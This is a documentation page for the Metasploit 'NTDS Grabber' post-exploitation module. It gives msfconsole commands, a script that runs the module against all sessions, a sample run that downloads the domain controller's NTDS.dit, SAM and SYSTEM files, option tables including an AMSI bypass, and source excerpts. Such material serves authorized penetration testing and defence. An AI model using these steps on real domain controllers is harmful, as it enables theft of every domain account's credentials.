NTDS Grabber - Metasploit

This page contains detailed information about how to use the post/windows/gather/ntds_grabber metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents

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Module Overview

Module Ranking and Traits
Basic Usage
Required Options

Knowledge Base

Creating A Testing Environment
Verification Steps
Scenarios

Windows Server 2008r2 with an x86 meterpreter

Msfconsole Usage

Module Options
Advanced Options
Post Actions
Evasion Options

Error Messages
Related Pull Requests
See Also
Authors
Version

Module Overview

Name: NTDS Grabber
Module: post/windows/gather/ntds_grabber
Source code: modules/post/windows/gather/ntds_grabber.rb
Disclosure date: -
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): x86, x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module uses a powershell script to obtain a copy of the ntds,dit SAM and SYSTEM files on a domain controller. It compresses all these files in a cabinet file called All.cab.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/ntds_grabber

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/ntds_grabber
msf post(ntds_grabber) > show options
    ... show and set options ...
msf post(ntds_grabber) > set SESSION session-id
msf post(ntds_grabber) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/ntds_grabber")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

SESSION: The session to run this module on.

Knowledge Base

Creating A Testing Environment

To use this module you need an meterpreter on a domain controller. The meterpreter has to have SYSTEM priviliges. Powershell has te be installed.

This module has been tested against:

Windows Server 2008r2

This module was not tested against, but may work against:

Other versions of Windows server.

Verification Steps

Start msfconsole
Obtain a meterpreter session with a meterpreter via whatever method.
Ensure the metepreter has SYSTEM priviliges.
Ensure powershell is installed.
Do: 'use post/windows/gather/ntds_grabber '
Do: 'set session #'
Do: 'run'

Scenarios

Windows Server 2008r2 with an x86 meterpreter

msf exploit(psexec) > use post/windows/gather/ntds_grabber 
msf post(ntds_grabber) > set session #
session => #
msf post(ntds_grabber) > run

[+] [2017.04.05-12:26:49] Running as SYSTEM
[+] [2017.04.05-12:26:50] Running on a domain controller
[+] [2017.04.05-12:26:50] PowerShell is installed.
[-] [2017.04.05-12:26:50] The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
[*] [2017.04.05-12:26:50] Starting new x64 process C:\windows\sysnative\svchost.exe
[+] [2017.04.05-12:26:51] Got pid 3088
[*] [2017.04.05-12:26:51] Migrating..
[+] [2017.04.05-12:26:56] Success!
[*] [2017.04.05-12:26:56] Powershell Script executed
[*] [2017.04.05-12:26:59] Creating All.cab
[*] [2017.04.05-12:27:01] Waiting for All.cab
[*] [2017.04.05-12:27:02] Waiting for All.cab
[+] [2017.04.05-12:27:02] All.cab should be created in the current working directory
[*] [2017.04.05-12:27:05] Downloading All.cab
[+] [2017.04.05-12:27:15] All.cab saved in: /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab
[*] [2017.04.05-12:27:15] Removing All.cab
[+] [2017.04.05-12:27:15] All.cab Removed
[*] Post module execution completed
msf post(ntds_grabber) > loot

Loot
====

host        service  type          name     content          info                                              path
----        -------  ----          ----     -------          ----                                              ----
10.100.0.2           Cabinet File  All.cab  application/cab  Cabinet file containing SAM, SYSTEM and NTDS.dit  /home/XXX/.msf4/loot/20170405122715_default_10.100.0.2_CabinetFile_648914.cab

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Msfconsole Usage

Here is how the windows/gather/ntds_grabber post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/ntds_grabber

msf6 post(windows/gather/ntds_grabber) > show info

       Name: NTDS Grabber
     Module: post/windows/gather/ntds_grabber
   Platform: Windows
       Arch: x86, x64
       Rank: Normal

Provided by:
  Koen Riepe (koen.riepe <Koen Riepe ([email protected])>

Compatible session types:
  Meterpreter

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  CLEANUP   true             yes       Remove the All.cab file at the end of module execution
  DOWNLOAD  true             yes       Immediately download the All.cab file
  SESSION                    yes       The session to run this module on.

Description:
  This module uses a powershell script to obtain a copy of the 
  ntds,dit SAM and SYSTEM files on a domain controller. It compresses 
  all these files in a cabinet file called All.cab.

Module Options

This is a complete list of options available in the windows/gather/ntds_grabber post exploitation module:

msf6 post(windows/gather/ntds_grabber) > show options

Module options (post/windows/gather/ntds_grabber):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CLEANUP   true             yes       Remove the All.cab file at the end of module execution
   DOWNLOAD  true             yes       Immediately download the All.cab file
   SESSION                    yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/ntds_grabber post exploitation module:

msf6 post(windows/gather/ntds_grabber) > show advanced

Module advanced options (post/windows/gather/ntds_grabber):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   Powershell::Post::dry_run               false            yes       Return encoded output to caller
   Powershell::Post::force_wow64           false            yes       Force WOW64 execution
   Powershell::Post::log_output            false            yes       Write output to log file
   Powershell::Post::timeout               15               yes       Powershell execution timeout, set < 0 to run async without termination
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  true             yes       Prepend AMSI/SBL bypass
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/ntds_grabber module can do:

msf6 post(windows/gather/ntds_grabber) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/ntds_grabber post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/ntds_grabber) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Not running as SYSTEM, you need to be system to run this module! STOPPING
Not running on a domain controller, you need run this module on a domain controller! STOPPING
PowerShell is not installed! STOPPING
The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!
Migration failed!
Problem with removing All.cab. Manually check if it's still there.
All.cab was not removed

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Not running as SYSTEM, you need to be system to run this module! STOPPING

Here is a relevant code snippet related to the "Not running as SYSTEM, you need to be system to run this module! STOPPING" error message:

90:	    cleanupflag = datastore['CLEANUP']
91:	
92:	    if is_system?
93:	      print_good('Running as SYSTEM')
94:	    else
95:	      print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
96:	      return
97:	    end
98:	
99:	    if not dc_check
100:	      print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')

Not running on a domain controller, you need run this module on a domain controller! STOPPING

Here is a relevant code snippet related to the "Not running on a domain controller, you need run this module on a domain controller! STOPPING" error message:

95:	      print_error('Not running as SYSTEM, you need to be system to run this module! STOPPING')
96:	      return
97:	    end
98:	
99:	    if not dc_check
100:	      print_error('Not running on a domain controller, you need run this module on a domain controller! STOPPING')
101:	      return
102:	    else
103:	      print_good('Running on a domain controller')
104:	    end
105:

PowerShell is not installed! STOPPING

Here is a relevant code snippet related to the "PowerShell is not installed! STOPPING" error message:

104:	    end
105:	
106:	    if have_powershell?
107:	      print_good('PowerShell is installed.')
108:	    else
109:	      print_error('PowerShell is not installed! STOPPING')
110:	      return
111:	    end
112:	
113:	    if check_32_on_64
114:	      print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')

The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!

Here is a relevant code snippet related to the "The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!" error message:

109:	      print_error('PowerShell is not installed! STOPPING')
110:	      return
111:	    end
112:	
113:	    if check_32_on_64
114:	      print_error('The meterpreter is not the same architecture as the OS! Migrating to process matching architecture!')
115:	      windir = get_windows_loc
116:	      newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
117:	      if exist?(newproc)
118:	        print_status("Starting new x64 process #{newproc}")
119:	        pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid

Migration failed!

Here is a relevant code snippet related to the "Migration failed!" error message:

121:	        print_status('Migrating..')
122:	        session.core.migrate(pid)
123:	        if pid == session.sys.process.getpid
124:	          print_good('Success!')
125:	        else
126:	          print_error('Migration failed!')
127:	        end
128:	      end
129:	    else
130:	      print_good('The meterpreter is the same architecture as the OS!')
131:	    end

Problem with removing All.cab. Manually check if it's still there.

Here is a relevant code snippet related to the "Problem with removing All.cab. Manually check if it's still there." error message:

163:	    if cleanupflag
164:	      print_status('Removing All.cab')
165:	      begin
166:	        file_rm('All.cab')
167:	      rescue
168:	        print_error('Problem with removing All.cab. Manually check if it\'s still there.')
169:	      end
170:	      if not file_exist?("All.cab")
171:	        print_good('All.cab Removed')
172:	      else
173:	        print_error('All.cab was not removed')

All.cab was not removed

Here is a relevant code snippet related to the "All.cab was not removed" error message:

167:	      rescue
168:	        print_error('Problem with removing All.cab. Manually check if it\'s still there.')
169:	      end
170:	      if not file_exist?("All.cab")
171:	        print_good('All.cab Removed')
172:	      else
173:	        print_error('All.cab was not removed')
174:	      end
175:	    end
176:	  end
177:	end

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